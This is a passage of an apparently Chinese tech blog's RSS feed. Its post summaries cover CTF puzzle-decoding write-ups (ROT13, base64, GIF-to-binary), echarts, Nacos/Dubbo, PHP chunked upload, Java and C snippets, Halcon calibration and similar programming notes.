      <description>如来十三掌（来源：攻防世界） 1.关卡描述 2.解题步骤 分析：&#xA;题目提示如来十三掌，想到ROT13，我们先下载附件，发现是一个word文件&#xA;里面有一段话，看样子像是社会主义核心价值观编码，发现解不开，说明解码不对。&#xA;==============&#xA;参考：&#xA;这一题的关键就在于解密上面的密文：&#xA;在线网站：与佛论禅：与佛论禅&#xA;解密之后，又得到一串密文，想到提示如来十三掌，那就是ROT13解码&#xA;MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9&#xA;又得到一段密文：&#xA;ZmxhZ3tiZHNjamhia3ptbmZyZGhidmNraWpuZHNrdmJramRzYWJ9&#xA;ROT13：&#xA;对字母进行编码，用当前字母往前数的第13个字母替换当前字母，例如当前为A，编码后变成N，当前为B，编码后变成O，以此类推顺序循环。（数字不进行替换则不变）&#xA;首先我们要知道ROT13是一个替换码，再次替换就变成原先的了，所以我们不可能再次替换，那么就观察替换后的暗码，发现符合base64，我们进行解码：&#xA;flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab}&#xA;=======================&#xA;总结：&#xA;关键点在于知道上面的与佛论禅密文如何解码。&#xA;注意一下这个网站：&#xA;新约佛论禅/佛曰加密 - PcMoe!</description>
    </item>
    <item>
      <title>gif</title>
      <link>https://bchobby.github.io/posts/d38252762d3d4fd229faae637fd13f4e/</link>
      <pubDate>Wed, 22 Dec 2021 15:57:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d38252762d3d4fd229faae637fd13f4e/</guid>
      <description>gif （来源：攻防世界） 1.关卡描述 2.解题步骤 分析：&#xA;题目说是动态图，实际上却是一大堆分离出来的图片：&#xA;103张黑白图片（实际是104张，没有计算0张图片），猜测会不会是白对应1，黑对应0，或者白0黑1，猜测为二进制：&#xA;简单的试了一部分，发现不对，（笔记：简易以后要么测试8位，或者是16位等，不要只测某个部分的）&#xA;那么观察16进制：&#xA;黑色有这些字符特征&#xA;白色：&#xA;没有任何的头绪：&#xA;看看其他writeup是如何做的：&#xA;=============================&#xA;自己出现的问题，为什么想到了思路，却没有做出来，是因为测试的方法不对，没有添加空格，&#xA;下面的这个工具就不用考虑空格，他会自动处理&#xA;===========&#xA;看了writeup知道了错在哪里，我们知道了白色代表0，黑色代表1，手动搞的话，这里就不说了，我们使用脚本进行：&#xA;脚本一：&#xA;通过 黑白图片的md5不一样，写python脚本提取&#xA;（笔记：libnum库是一个关于各种数学运算的函数库，它包含common maths、modular、modular squre roots、primes、factorization、ECC、converting、stuff等方面的函数）&#xA;#coding:utf-8 import libnum import hashlib #主要通过 md5判断0或者1 #白代表0，黑代表1 #n0 with open(&#34;0.jpg&#34;,&#34;rb&#34;) as f: md5i=hashlib.md5() md5i.update(f.read()) n0=md5i.hexdigest() print n0 #n1 with open(&#34;1.jpg&#34;,&#34;rb&#34;) as f1: md5i=hashlib.md5() md5i.update(f1.read()) n1=md5i.hexdigest() print n1 flag=&#34;&#34; for i in range(0,104): with open(str(i)+&#34;.jpg&#34;,&#34;rb&#34;) as f2: md5i = hashlib.md5() md5i.update(f2.read()) n3 = md5i.hexdigest() if n3==n0: flag+=&#34;</description>
    </item>
    <item>
      <title>echarts 堆叠柱状图 顶端圆角</title>
      <link>https://bchobby.github.io/posts/a37f34eef4b6e7b29addd02c72c5f4a2/</link>
      <pubDate>Wed, 22 Dec 2021 15:43:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a37f34eef4b6e7b29addd02c72c5f4a2/</guid>
      <description>echarts 堆叠柱状图被很多项目广泛的使用。需求是 堆叠柱状图 顶端圆角，下面是实现过程。&#xA;安装或引入echarts，正常的使用方法可以看官方文档，直接上代码：&#xA;option = { xAxis: [ { type: &#39;category&#39;, data: [&#39;Mon&#39;, &#39;Tue&#39;, &#39;Wed&#39;, &#39;Thu&#39;, &#39;Fri&#39;, &#39;Sat&#39;, &#39;Sun&#39;] } ], yAxis: [ { type: &#39;value&#39; } ], series: [ { name: &#39;Google&#39;, type: &#39;bar&#39;, stack: &#39;Search Engine&#39;, emphasis: { focus: &#39;series&#39; }, data: [120, 8, 101, 134, 290, 230, 220], }, { name: &#39;Bing&#39;, type: &#39;bar&#39;, stack: &#39;Search Engine&#39;, emphasis: { focus: &#39;series&#39; }, data: [60, 72, 71, 74, 190, 130, 110] }, { name: &#39;Others&#39;, type: &#39;bar&#39;, stack: &#39;Search Engine&#39;, emphasis: { focus: &#39;series&#39; }, data: [62, 82, 91, 84, 109, 110, 120], itemStyle: { barBorderRadius: [12, 12, 0, 0], } } ] }; 代码效果：黄色other 绿色Bing 蓝色Google</description>
    </item>
    <item>
      <title>Pycharm-列出代码结构</title>
      <link>https://bchobby.github.io/posts/c5e89b78a7e3338942dccb813f001efe/</link>
      <pubDate>Wed, 22 Dec 2021 13:40:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5e89b78a7e3338942dccb813f001efe/</guid>
      <description>查看View—&amp;gt;Tool windows—&amp;gt;Structure&#xA;structure展示中字符含义&#xA;v： 变量&#xA;f：方法&#xA;m: 方法&#xA;c: 类</description>
    </item>
    <item>
      <title>改变mathtype插入公式编号格式</title>
      <link>https://bchobby.github.io/posts/9bc1c24728a3e1b6c53f988791b35307/</link>
      <pubDate>Wed, 22 Dec 2021 09:35:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bc1c24728a3e1b6c53f988791b35307/</guid>
      <description>点击插入编号右边的向下菜单，选择格式化&#xA;修改分隔符和附件就可以了</description>
    </item>
    <item>
      <title>SpringBoot整合Nacos和Dubbo</title>
      <link>https://bchobby.github.io/posts/1329290acb6ffeca01e68f97303ec8a9/</link>
      <pubDate>Tue, 21 Dec 2021 15:32:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1329290acb6ffeca01e68f97303ec8a9/</guid>
      <description>SpringBoot整合Nacos和Dubbo 文章目录 SpringBoot整合Nacos和Dubbo前言一、 Nacos安装二、 SpringBoot整合Nacos和Dubbo1. 添加依赖2. 编写配置文件内容2.1 服务结构说明2.2 服务提供者2.3 服务消费者 3. 创建服务提供者与消费者代码3.1 服务提供者部分代码3.2 服务消费者部分代码 三、 项目启动总结 前言 在分布式微服务框架中，比较重要的就是远程方法调用了，阿里巴巴推出的Nacos+Dubbo框架是一种很不错的解决方案，其中Nacos不但可以作为注册中心，还可以作为配置中心，并且Dubbo也内置了几种很不错的负载均衡算法，这二者的组合可以取得不错的效果，目前也是一种主流的分布式微服务中间件。&#xA;我之前就写过一篇类似的文章，方法和过程都差不多，感兴趣的话可以瞅一眼，Nacos实现服务注册与消费（传送门）。现在重新整理一下，以供参考。&#xA;本文完整代码可见:https://github.com/BraisedPanda/xiqing-study-project.git&#xA;一、 Nacos安装 Nacos安装与启动直接去看官方文档就行，那里有最新的Nacos安装包，Nacos官方文档&#xA;安装完运行后，输入http://ip地址:8848/nacos/#/login，就可以进入登录界面了，用户名和密码默认都是nacos&#xA;这是登录后的页面，常用的界面就是配置中心以及注册中心了。&#xA;二、 SpringBoot整合Nacos和Dubbo 1. 添加依赖 首先第一步当然是添加相关的依赖了，网上添加Nacos和Dubbo的依赖多种多样，这里提供一下我依赖的maven配置，这里需要注意下nacos和dubbo的对于版本，版本不对可能会造成项目的启动失败。&#xA;&amp;lt;!-- nacos --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-config&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.5.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-discovery&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.5.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- dubbo --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.0.2.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.0.2.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-registry-nacos&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.0.2.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2. 编写配置文件内容 接下来就是编写配置文件，注明Nacos和Dubbo的地址、命名空间和应用名称等信息，这里有个坑，建议把这些配置写入bootstrap.yaml文件中，否则可能会造成服务无法注册在正确的地址上。这个坑可以看我之前记录的文章，Nacos配置了远程地址，项目启动时却一直连接本地问题解决方法&#xA;2.1 服务结构说明 微服务中一般分为服务消费者与服务提供者，通常来讲，服务消费者一般是请求的入口，集成了大量的controller，请求通过controller调用服务提供者提供的service接口，请求数据。因此，服务提供者与服务消费者的配置文件也稍微不同（不同之处主要在于消费者需要配置提供者的服务名称）。&#xA;2.2 服务提供者 bootstrao.</description>
    </item>
    <item>
      <title>PHP大文件分片上传、断点续传、上传进度条</title>
      <link>https://bchobby.github.io/posts/ccb6646d48889860c631bc190ebb6148/</link>
      <pubDate>Tue, 21 Dec 2021 13:31:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccb6646d48889860c631bc190ebb6148/</guid>
      <description>目录&#xA;【前言】&#xA;分片上传原理&#xA;断点续传原理&#xA;进度条显示&#xA;用到的工具及引入的附件&#xA;html代码&#xA;js代码&#xA;PHP代码&#xA;【前言】 因公司有大文件上传后处理的需求，但是nginx和php都有做文件大小的限制，所以要用到分片上传；因为文件比较大，可能会遇到 网络断开、误关闭页面、服务端暂不可用等问题，所以要实现断点续传的功能。&#xA;分片上传原理 前端将大文件按照固定大小切分，每次上传单个分片二进制流，最后一片上传完毕后后端对文件进行分片合并。&#xA;断点续传原理 服务端记录某个文件的上传进度； 好多人都是每次上传分片都检测下上传进度，没必要；&#xA;我的例子中是首次上传时先从后端获取分片位置【position】，然后从上次上传position开始继续上传，中间有任何异常，都会重置是否获取 position的变量，再重新获取上传进度，接着上传；&#xA;这样会减少很多没必要的请求，不会有任何问题。&#xA;进度条显示 很简单， 已上传的分片进度 / 总分片数 * 100 用到的工具及引入的附件 redis 、jquery&#xA;jquery-1.8.0.min.js 和 md5.js 都是公用的，网上一查就有，我没找到上传附件的地方...&#xA;html代码 &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;script src=&#34;html/js/jquery-1.8.0.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;html/js/md5.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;input type=&#34;file&#34; id=&#34;zipfile-inputEl&#34;&amp;gt; &amp;lt;button id=&#34;upload&#34;&amp;gt;点击上传&amp;lt;/button&amp;gt; &amp;lt;br&amp;gt; &amp;lt;p style=&#34;display: inline&#34;&amp;gt; 上传进度: &amp;lt;p id=&#34;progressBar&#34; style=&#34;display: inline&#34;&amp;gt;0&amp;lt;/p&amp;gt; % &amp;lt;/p&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; js代码 /** * 分片上传相关变量 */ var&#x9;nowIndex = 0; // 计算分片上传文件切片设置，默认从0开始 var getPosition = true; // 获取分片上传位置，默认获取（断点续传） /** * 文件分片上传 * file 文件对象 * filemd5 整个文件的md5值 */ function shardToUpload(file, fileMd5) { var fileName = file.</description>
    </item>
    <item>
      <title>Vue项目 - css 使用 js 变量值</title>
      <link>https://bchobby.github.io/posts/db9421c73c899cf5e95355a9f456c99e/</link>
      <pubDate>Tue, 21 Dec 2021 11:30:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db9421c73c899cf5e95355a9f456c99e/</guid>
      <description>做项目时遇到以下问题： 组件中需要使用变量的值作为某元素的背景颜色，但 style 标签中无法直接使用变量值作为样式&#xA;解决方法如下 为需要设置变量的元素样式做如下设置（使用） background-color: var(--theme-color); –theme-color为此处的自定义名称&#xA;包裹该元素的任意元素标签做以下设置（定义） &amp;lt;div class=&#34;content&#34; :style=&#34;{ &#39;--theme-color&#39;: themeColor }&#34;&amp;gt; ... &amp;lt;/div&amp;gt; themeColor 为 script 标签中设置的变量&#xA;完成&#xA;方法参考 MDN 相关文档： https://developer.mozilla.org/zh-CN/docs/Web/CSS/var()</description>
    </item>
    <item>
      <title>存入数组数据，找出最大值和最小值</title>
      <link>https://bchobby.github.io/posts/bf6208eb9e355003295af482c5784dfb/</link>
      <pubDate>Mon, 20 Dec 2021 23:59:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf6208eb9e355003295af482c5784dfb/</guid>
      <description>这个问题我们需要考虑两点：1.存入数组的数据2.找出数组的最大值还有最小值。&#xA;解决问题1：我们可以利用for循环依次输入数据进入数组中。&#xA;解决问题2：我们可以设定两个值max和min，让他们俩的初始值为0也就是数组的第一位假如数组为a[size]，那么就可以设max=min=a[0],然后用for循环读出数组的每个元素，要是大于max，那么max就等于嘞个元素，要是小于min，那么min就等于嘞个元素。这样就得出了结果&#xA;我的代码如下&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int a[10]; int i, b, MAX, MIN; for (i = 0; i &amp;lt; 10; i++) { printf(&#34;输入第%d个数：&#34;, i + 1); scanf_s(&#34;%d&#34;, &amp;amp;a[i]); } MAX = MIN = a[0]; for (b = 0; b &amp;lt; 10; b++) { if (MAX &amp;lt; a[b]) MAX = a[b]; if (MIN &amp;gt; a[b]) MIN = a[b]; } printf(&#34;最大值为：%d，最小值为： %d&#34;, MAX, MIN); return 0; } 最后运行一下下子&#xA;成功运行！</description>
    </item>
    <item>
      <title>nvidia-smi的部分信息遮挡的解决</title>
      <link>https://bchobby.github.io/posts/cdefaa36720f36746629609d7770d85c/</link>
      <pubDate>Mon, 20 Dec 2021 18:28:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdefaa36720f36746629609d7770d85c/</guid>
      <description>仅作为记录，大佬请跳过。&#xA;用nvidia-smi -a&#xA;展示&#xA;参考&#xA;感谢大佬博主文章：传送门</description>
    </item>
    <item>
      <title>可重入锁（ReentrantLock为例)</title>
      <link>https://bchobby.github.io/posts/74c48e8bd989d52dc2bf48d6652f4a03/</link>
      <pubDate>Mon, 20 Dec 2021 16:03:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74c48e8bd989d52dc2bf48d6652f4a03/</guid>
      <description>什么是可重入锁 STFW得到以下两种主流解释&#xA;解释一：可重入就是说某个线程已经获得某个锁，可以再次获取锁而不会出现死锁。&#xA;解释二：可重入锁又称递归锁，是指同一个线程在外层方法获取锁的时候，再进入该线程的内层方法会自动获取锁(前提是锁对象得是同一个对象)，不会因为之前已经获取过锁还没有释放而阻塞。&#xA;疑惑 解释一中提到了可以再次获取锁，“再次获取锁”是如何进行判断的呢？&#xA;解释二中提到了可重入锁称为递归锁，因此就想当然的理解为可重入锁是某段代码方法中，一个锁里面嵌套着某个锁。那么难道锁不进行嵌套就不是可重入锁了吗？&#xA;解释一和解释二总感觉描述的不是一个东西。&#xA;证明 首先，我们已知ReentrantLock是可重入锁，那么它的可重入是怎么实现的呢，源码中有这样一段代码。&#xA;protected final boolean tryAcquire(int acquires) { final Thread current = Thread.currentThread(); int c = getState(); if (c == 0) { if (!hasQueuedPredecessors() &amp;amp;&amp;amp; compareAndSetState(0, acquires)) { setExclusiveOwnerThread(current); return true; } } else if (current == getExclusiveOwnerThread()) { int nextc = c + acquires; if (nextc &amp;lt; 0) throw new Error(&#34;Maximum lock count exceeded&#34;); setState(nextc); return true; } return false; } if (current == getExclusiveOwnerThread())这一段就是进行可重入锁的判断，因此可以得知，可重入锁就是在加锁时判断当前线程是否是已经获取到锁的线程，如果是的话，锁的次数会+1。需要注意的是既然多次加锁，就需要多次释放锁。</description>
    </item>
    <item>
      <title>halcon中sort_region标定板之9点标定mark点各方向排序</title>
      <link>https://bchobby.github.io/posts/214995229f63b35c7c50eeceeffa8af8/</link>
      <pubDate>Mon, 20 Dec 2021 11:21:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/214995229f63b35c7c50eeceeffa8af8/</guid>
      <description>目录 做的视觉处理项目多了也遇到了很多麻烦事，也少不了掉几根头发 有次项目处理的过程中对精度要求高，但是来料大，视野范围受限等问题&#xA;采用了单工位多相机进行视觉处理&#xA;这个过程就是让两个相机的图像坐标绑定到同一块标定板上&#xA;这个过程就用到了常用的九点标定法&#xA;但是由于机构问题的安装的相机方向有点差异，导致&#xA;标定板上面的坐标带有方向&#xA;想到2个解决方法：&#xA;①是旋转旋转图像，让他们方向一致即可—（推荐）&#xA;实现功能的halcon算子&#xA;rotate_image (, ImageRotate, 90, &#39;constant&#39;) 还可以是相机自带的采图镜像转换&#xA;②就是不旋转，标定的时候，获取的点重新排列----于是便有了下面的排列方式&#xA;*二值化处理--只获取标定板上面的Mark点 threshold (ImageReduced, Region, 0, 150) *填充显示--黄色显示 dev_set_color (&#39;yellow&#39;) dev_set_draw (&#39;fill&#39;) *分割图像，将mark点整体分割 connection (Region, ConnectedRegions) *去噪---面积筛选，只允许150-99999 select_shape (ConnectedRegions, SelectedRegions, &#39;area&#39;, &#39;and&#39;, 150, 99999) *获取面积及mark区域中心--刚好9个 area_center (SelectedRegions, Area, Row, Column) *设置字体显示的颜色 dev_set_color (&#39;black&#39;) *序号显示--不排序显示 for Index := 1 to |Area| by 1 set_tposition (3600, Row[Index-1], Column[Index-1]) write_string (3600, Index) endfor set_display_font (3600, 16, &#39;mono&#39;, &#39;true&#39;, &#39;false&#39;) disp_continue_message (3600, &#39;black&#39;, &#39;true&#39;) *按F5继续 dev_close_window () dev_open_window (Row1, Column1, 512, 512, &#39;black&#39;, WindowHandle) dev_display (Image1) dev_set_color (&#39;pink&#39;) *排序之后在显示row先使用行值，column先使用列值排序--可以看到使用column排序的时候不稳定 sort_region (SelectedRegions, SortedRegions, &#39;first_point&#39;, &#39;true&#39;, &#39;column&#39;) area_center (SortedRegions, Area1, Row3, Column3) dev_set_color (&#39;black&#39;) for Index := 1 to |Area1| by 1 set_tposition (3600, Row3[Index-1], Column3[Index-1]) write_string (3600, Index) endfor *为了解决排序的问题我打算换一种先求一列的或者一行的，然后在排序 dev_close_window () dev_open_window (Row1, Column1, 512, 512, &#39;black&#39;, WindowHandle) dev_display (Image1) dev_set_color (&#39;blue&#39;) *这样子是以列排序，从左上角开始，那么可以从做小角开始吗？也可以 *左下角√，右下角√，右上角√ *行排序，左上角，右上角，左下角√，右下角也是可以的 *差不多就是这个道理--这样排序就相对稳定许多，用上两个for循环 sort_region (SelectedRegions, SortedRegions, &#39;first_point&#39;, &#39;false&#39;, &#39;row&#39;) for Index1 := 1 to 3 by 1 dev_set_color (&#39;red&#39;) *选择第Index1列的第1个 select_obj (SortedRegions, ObjectSelected1, 1+ 3*(Index1-1)) *选择第Index1列的第2个 select_obj (SortedRegions, ObjectSelected2, 2+ 3*(Index1-1)) *选择第Index1列的第2个 select_obj (SortedRegions, ObjectSelected3, 3+ 3*(Index1-1)) *这样就筛选出第Index1列了，用上数组，循环3此就是区分开3列 *将每列的形成一个整体 union2 (ObjectSelected1, ObjectSelected2, RegionUnion) union2 (RegionUnion, ObjectSelected3, RegionUnion1) *将整体再次分割 connection (RegionUnion1, ConnectedRegions1) *再次排序--用上row值排序 sort_region (ConnectedRegions1, SortedRegions1, &#39;first_point&#39;, &#39;true&#39;, &#39;column&#39;) area_center (SortedRegions1, Area2, Row4, Column4) *写序号 dev_set_color (&#39;black&#39;) for Index2 := 1 to 3 by 1 set_tposition (3600, Row4[(Index2-1)], Column4[(Index2-1)]) write_string (3600, Index2+(Index1-1)*3) endfor endfor PS：关注收藏，不迷路，分享项目小难点。</description>
    </item>
    <item>
      <title>Java中List排序的3种方法！</title>
      <link>https://bchobby.github.io/posts/a7f4ff27d13df7d248d1a490ec3294fc/</link>
      <pubDate>Mon, 20 Dec 2021 07:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7f4ff27d13df7d248d1a490ec3294fc/</guid>
      <description>作者 | 王磊&#xA;来源 | Java中文社群（ID：javacn666）&#xA;转载请联系授权（微信ID：GG_Stone）&#xA;在某些特殊的场景下，我们需要在 Java 程序中对 List 集合进行排序操作。比如从第三方接口中获取所有用户的列表，但列表默认是以用户编号从小到大进行排序的，而我们的系统需要按照用户的年龄从大到小进行排序，这个时候，我们就需要对 List 集合进行自定义排序操作了。&#xA;List 排序的常见方法有以下 3 种：&#xA;使用 Comparable 进行排序；&#xA;使用 Comparator 进行排序；&#xA;如果是 JDK 8 以上的环境，也可以使用 Stream 流进行排序。&#xA;下面我们分别来看各种排序方法的具体实现。&#xA;1.使用 Comparable 排序 按照本文设计的场景，我们需要创建一个包含了用户列表的 List 集合，并按用户的年龄从大到小进行排序，具体实现代码如下：&#xA;public class ListSortExample { public static void main(String[] args) { // 创建并初始化 List List&amp;lt;Person&amp;gt; list = new ArrayList&amp;lt;Person&amp;gt;() {{ add(new Person(1, 30, &#34;北京&#34;)); add(new Person(2, 20, &#34;西安&#34;)); add(new Person(3, 40, &#34;上海&#34;)); }}; // 使用 Comparable 自定的规则进行排序 Collections.</description>
    </item>
    <item>
      <title>视觉SLAM十四讲笔记 -- 第二讲</title>
      <link>https://bchobby.github.io/posts/c06beb3cd759ce5e349c876ca6dd8999/</link>
      <pubDate>Sun, 19 Dec 2021 19:22:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c06beb3cd759ce5e349c876ca6dd8999/</guid>
      <description>第二讲：课后题 1．阅读文献[1]和[14]，你能看懂其中的内容吗?&#xA;文献1：A survey of monocular simultaneous localization and mapping 可以从百度学术上自行下载&#xA;本文献是一篇SLAM的综述，首先从AR（Augmented reality 增强现实）切入，讲了SLAM的重要性以及视觉SLAM可以带来的好处，然后以此展开总体的概括了SLAM的发展情况，也分析和介绍了各不同SLAM的性能区别，对各个特性进行了对比和分析，最后总体讲了现有SLAM技术的不足以及对SLAM日后发展的憧憬。&#xA;感兴趣的同学可以参考这个博客：https://blog.csdn.net/zhuquan945/article/details/79712506&#xA;文献14：Graph-based SLAM: A Survey&#xA;又是一篇关于视觉SLAM的文献综述。本文从帧间配准、环形闭合检测以及优化技术 3 个主要方面对基于图优化的同时定位与地图创建进行综述．对每一个方面，阐述其关键技术，介绍最新研究进展，并探讨相关难点问题及解决思路．最后，对基于图优化的同时定位与地图创建的发展作出展望。 2．*阅读SLAM的综述文献，例如[9,15-18]等。这些文献中关于SLAM 的看法与本书有何异同?&#xA;文献9：Past, Present, and Future of Simultaneous Localization and Mapping: Toward the Robust-Perception Age&#xA;文献15：Visual Simultaneous Localization and Mapping: A Survey&#xA;感兴趣的同学可以参考这个博客：https://blog.csdn.net/shyjhyp11/article/details/104375922&#xA;文献16：Topological simultaneous localization and mapping: a survey&#xA;这个论文下载不了…&#xA;文献17：Kalman Filter for Robot Vision: A Survey&#xA;文献18：Recent advances in simultaneous localization and map-building using computer vision</description>
    </item>
    <item>
      <title>调度算法抢占式和非抢占式</title>
      <link>https://bchobby.github.io/posts/021aca7114ec2322a6e66647d5fba750/</link>
      <pubDate>Sun, 19 Dec 2021 16:32:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/021aca7114ec2322a6e66647d5fba750/</guid>
      <description>一.作业调度算法（进程也可用）&#xA;1.FCFS 先来先服务&#xA;非抢占式&#xA;2.SJF/SPF 短作业/进程优先&#xA;抢占式/非抢占式&#xA;3.HRRN 高响应比优先&#xA;非抢占式&#xA;二.进程调度&#xA;4.RR 时间片轮转&#xA;抢占式&#xA;5.优先级调度&#xA;抢占式/非抢占式&#xA;6.FB 多级反馈队列&#xA;抢占式&#xA;三.实时调度算法&#xA;7.EDF 最早截止时间&#xA;抢占式/非抢占式&#xA;8.LLF 最低松弛度&#xA;抢占式</description>
    </item>
    <item>
      <title>C#中的数组</title>
      <link>https://bchobby.github.io/posts/ee3a6af8423097c071592af277ba69ca/</link>
      <pubDate>Sun, 19 Dec 2021 09:10:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee3a6af8423097c071592af277ba69ca/</guid>
      <description>一、数组的特点&#xA;1、 在一个数组中存放的值都是同一数据类型的。&#xA;2、 数组中某个指定的元素是通过索引来访问的。&#xA;3、 所有的数组都是由连续的内存位置组成的。&#xA;4、 数组从零开始建立索引，即数组索引从零开始。&#xA;二、二维数组&#xA;一维数组在数组中最常用，即将一组值存放到一个数组中，并为其定义一个名称， 通过数组中元素的位置来存取值。&#xA;举例如下：&#xA;1、//定义 int 类型的数组&#xA;2、int[] a = {1,2,3};&#xA;3、//输岀数组中的一个元素&#xA;4、Console.WriteLine(a[0]);&#xA;5、//输出数组中的最后一个元素&#xA;6、Console.WriteLine(a[a.Length‐1]);&#xA;三、多维数组&#xA;多维数组是指二维或二维以上的数组，多维数组与一维数组的定义非常类似，每多一个维度则在定义时的[ ]中增加一个“,”。存取数组中的值也是将下标用“,”隔开。&#xA;举例如下：&#xA;1、static void Main(string[] args)&#xA;2、{&#xA;3 、int[,] arr = new int[2, 2] { { 2, 3 }, { 4, 5 } };&#xA;4、&#xA;5 、for(int i = 0; i &amp;lt; arr.GetLength(0);i++)&#xA;6、 {&#xA;7、 for (int j = 0; j &amp;lt; arr.</description>
    </item>
    <item>
      <title>算法和数据结构 (哔哩哔哩-左神算法学习笔记-持续更新)</title>
      <link>https://bchobby.github.io/posts/dd737e0814eca67b43ad49a82cea3146/</link>
      <pubDate>Sat, 18 Dec 2021 23:21:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd737e0814eca67b43ad49a82cea3146/</guid>
      <description>马士兵-左神算法-哔哩哔哩地址 1.复杂度、二分、对数器、异或运算 1.评估算法的优劣的核心指标 1.时间复杂度（流程决定） 分析过程，得出表达式，忽略掉系数、常数项、低阶项，只留下最高阶，最高阶系统去掉 例如：表达式-&amp;gt; ax^3+bx+c 时间复杂度就是：O(x^3) 为什么：当样本量达到一定的次数的时候，就会发现系数、低阶项、常数项都不重要了。 100万*N^2+200万*N +600万,当N-&amp;gt;∞， 系数和常数算个毛线啊 2.空间复杂度（流程决定） 3.常数项时间（流程决定） 定义：如果一个操作的执行时间不以样本量转移，每次都是固定时间，就叫做常数操作。 常见的固定时间操作： 常见的算术预算（加减乘除） 常见的位运算（&amp;gt;&amp;gt;，&amp;gt;&amp;gt;&amp;gt; ,&amp;lt;&amp;lt;,|,&amp;amp;,^） 赋值，比较，自增，自减操作 数组寻址操作 &amp;gt;&amp;gt; 带符号右移 右移的时候，左边部位用符号位补位，如果正数就用0补位，负数1补位 &amp;gt;&amp;gt;&amp;gt; 不带符号右移 都用0补位 时间复杂度的意义： 抹掉了好多东西，只剩下了一个最高阶项啊…那这个东西有什么意义呢? 当我们要处理的样本量很大很大时，我们会发现低阶项是什么不是最重要的; 每一项的系数是什么，不是最重要的。真正重要的就是最高阶项是什么。 这就是时间复杂度的意义，它是衡量算法流程的复杂程度的一种指标， 该指标只与数据量有关，与过程之外的优化无关。 如何确定算法流程的总操作数量和样本数量之间的表达式关系？ 1.想象该算法流程所处理的数据状况，要按照最差情况来 2.把整个流程彻底拆分为一个个基本动作，保证每个动作都是常数时间的操作 3.把整个流程彻底拆分为一个个基本动作，保证每个动作都是常数时间的操作 选择排序流程： arr[0~n-1] 范围上找到最小值，交换到0位置 arr[1~n-1] 范围上找到最小值，交换到1位置 arr[2~n-1] 范围上找到最小值，交换到2位置 arr[n-2~n-1] 范围上找到最小值，交换到n-2位置 选择排序图解 ​&#xA;选择排序时间复杂度： 等差数列 1+2+3...+n-1,n*(n-1)/2 O(n^2)​ 选择排序代码 /** * 选择排序 * @param arr */ public static void SelectSort(int[] arr) { if (arr == null || arr.</description>
    </item>
    <item>
      <title>解决-win10软件默认安装路径为C盘——修改注册表</title>
      <link>https://bchobby.github.io/posts/2b7e1efd47bed4d8ad98c88575403bd5/</link>
      <pubDate>Sat, 18 Dec 2021 20:46:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b7e1efd47bed4d8ad98c88575403bd5/</guid>
      <description> 标题修改注册表： 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion 双击修改地址即可，然后不要关闭注册表窗口。 安装完想安装的程序后，再将地址改回原来的地址。如果不改回，可能会导致原来装的软件无法使用。 </description>
    </item>
    <item>
      <title>山东省历年高考人数(2005-2021)</title>
      <link>https://bchobby.github.io/posts/5980d4914fbc8b01d5795bb9d904224c/</link>
      <pubDate>Sat, 18 Dec 2021 15:32:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5980d4914fbc8b01d5795bb9d904224c/</guid>
      <description> 山东省历年高考人数(2005-2021)&#xA;年份人数（万人）200573.1200677.1200777.75200878.1200970.2201065.6201158.8201251201350201455.8201569.61201660.2201758.3201859.2201975.6202078.2202179.5 </description>
    </item>
    <item>
      <title>VSCode - 设置自定义 shell</title>
